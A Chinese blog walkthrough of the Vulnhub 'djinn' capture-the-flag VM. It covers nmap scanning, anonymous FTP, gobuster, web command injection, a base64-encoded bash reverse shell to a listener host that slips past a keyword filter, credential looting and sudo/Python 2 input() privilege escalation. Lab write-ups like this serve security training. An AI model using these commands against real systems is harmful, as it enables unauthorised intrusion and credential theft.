美文网首页
做一个靶机练习_djinn

做一个靶机练习_djinn

作者: 失眠是真滴难受 | 来源:发表于2020-10-06 19:32 被阅读0次

前几天一直在背资料,背的很烦,找个靶机来玩玩.

第一件事,先找一下主机地址,由于我在自己的局域网内,我不用扫也知道这台刚开的主机 ip 是多少...但如果不知道的话,可以用 nmap 检测一下,sS 是指用半开放式扫描,不会完成三次握手,速度要快一点

sudo nmap -sS 192.168.1.0/24

扫描结果如下

Nmap scan report for djinn (192.168.1.8)
Host is up (0.00010s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)

现在拿到了靶机的 ip 地址,可以开始收集信息了,探测一下开放了哪些端口,先扫一万个试试,-O 参数可获取一些系统的指纹信息

sudo nmap -sS -O 192.168.1.8 -p1-10000

扫描结果如下

Nmap scan report for djinn (192.168.1.8)
Host is up (0.00027s latency).
Not shown: 9996 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
1337/tcp open  waste
7331/tcp open  swx
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

扫出来了四个端口,一个个来,先看 ftp,用匿名登录试试。用户名:anonymous,无密码.登录成功.

Name (192.168.1.8:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              11 Oct 20 23:54 creds.txt
-rw-r--r--    1 0        0             128 Oct 21 00:23 game.txt
-rw-r--r--    1 0        0             113 Oct 21 00:23 message.txt
226 Directory send OK.

分别把三个文件下载下来,查看信息

mget creds.txt game.txt message.txt
cat creds.txt
nitu:81299
cat game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
final level and get the prize.
cat message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.

game.txt 里说在 1337 端口有一个游戏,先访问一下试试



那再试试 7331 端口,这次有反馈了,爆破一把梭


gobuster dir -u http://192.168.1.8:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

一小会就扫出来两个目录

/wish (Status: 200)
/genie (Status: 200)

访问一下 wish ,有个输入参数的地方,输入 id 试一下,可以执行命令


现在要想办法反弹 shell 了。直接用bash -i >& /dev/tcp/192.168.1.9/2333 0>&1试试。
报错Wrong choice of words。猜测可能是过滤了某些关键字,用 base64 编码看看能不能执行命令.
在 Linux 下生成将命令编码很简单:echo "id" | base64,输出aWQK,这就是 id 这个命令编码之后的结果了,然后再解码,执行:echo aWQK |base64 -d |bash
测试了一下,可以正常使用 echo,对反弹 shell 命令进行编码
echo "bash -i >& /dev/tcp/192.168.1.9/2333 0>&1" |base64

在本地监听 2333 端口nc -lvp 2333,把反弹命令放到浏览器中执行,成功获取到 shell(我当时测试是监听的 8899 ,都是一样的)


这个反弹回来的 shell 有些命令不能执行,比如 su。。。不能切换用户,所以需要获取一个 pty。
python -c "import pty;pty.spawn('/bin/bash')"

提权

提权可以尝试找一找提权脚本来试试,我没有用,是慢慢的翻文件的。。。
在 nitish 用户目录下有个 user.txt 文件,但是没有权限打开, sam 用户目录直接就没有权限访问。
继续找,在 nitish 下的 .dev 目录里有个 creds.txt,输出一下

cat creds.txt
nitish:p4ssw0rdStr3r0n9

password???密码到手了?切换用户试试,nice,先看看 nitish 的 flag
10aay8289ptgguy1pvfa73alzusyyx3c
还没有拿到 root,还不能停下。
查一下有当前用户下有哪些命令可以一 root 执行


来试试这个 genie 是什么东西,用 man 查一下

可以做任何想做的事???我直接用 root 用户执行命令行不行?

没有权限,还 wish 个屁啊,放低点要求,我换成 sam 试试

可以,现在是 sam 了,再看一看有哪些可以以 root 执行的命令
Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

又来一个 /root/lago,再试试


这后面的操作就跟我无关了,看大佬文章了,找到 .pyc 文件,反编译 pyc,然后是利用 python 的 input
在 sam 的用户目录下有个 .pyc 文件,查看文件可以知道这是 /root/lago 编译出来的,对 .pyc 反编译,然后利用 python2 里面的 input 特性,只要条件符合,就执行成功,所以直接输入 num 就行
def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'

公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步

相关文章

  • 做一个靶机练习_djinn

    前几天一直在背资料,背的很烦,找个靶机来玩玩. 第一件事,先找一下主机地址,由于我在自己的局域网内,我不用扫也知道...

  • Vulnhub:djinn

    一、前言 通过大量vulnhub受控靶机积累一线攻防经验和技巧。 二、环境 靶机名称:djinn[https://...

  • Vulnhub:djinn: 2

    一、前言 通过大量vulnhub受控靶机积累一线攻防经验和技巧。 二、环境 靶机名称:djinn[https://...

  • Vulnhub:djinn:3

    一、前言 通过大量vulnhub受控靶机积累一线攻防经验和技巧。 二、环境 靶机名称:djinn[https://...

  • jarbas渗透实战

    jarbas靶机渗透,利用jenkins_script来getshell,利用crontab定时执行练习提权靶机I...

  • OWASP之Bricks(File Upload)简单测试

    本次搭建OWASP靶机进行File Upload测试 测试项目:Bricks 测试介绍:此靶机主要练习 文件上传 ...

  • sunset靶机渗透实战

    sunset靶机渗透,该靶机就是纯主机渗透,比较简单,适合新手练习本垃圾现在转向工控安全领域继续学习,后续将推出团...

  • Sedna渗透实战

    靶机IP:192.168.8.153任务:获取4个flag分别在shell,root,还有靶机中 这个靶机开放了好...

  • JIS-CTF: VulnUpload 靶机练习

    1. 靶机介绍 VM名称:JIS-CTF:VulnUpload难度:初学者说明:此机器上有五个标志。试着找到它们。...

  • VulnHub渗透测试-BlackMarket靶机(Web渗透测

    环境 BlackMarket靶机下载主要内容 实战 0x1、寻找靶机ip 启动靶机,配置桥接[如下图2mac]模式...

网友评论

      本文标题:做一个靶机练习_djinn

      本文链接:https://www.haomeiwen.com/subject/icotpktx.html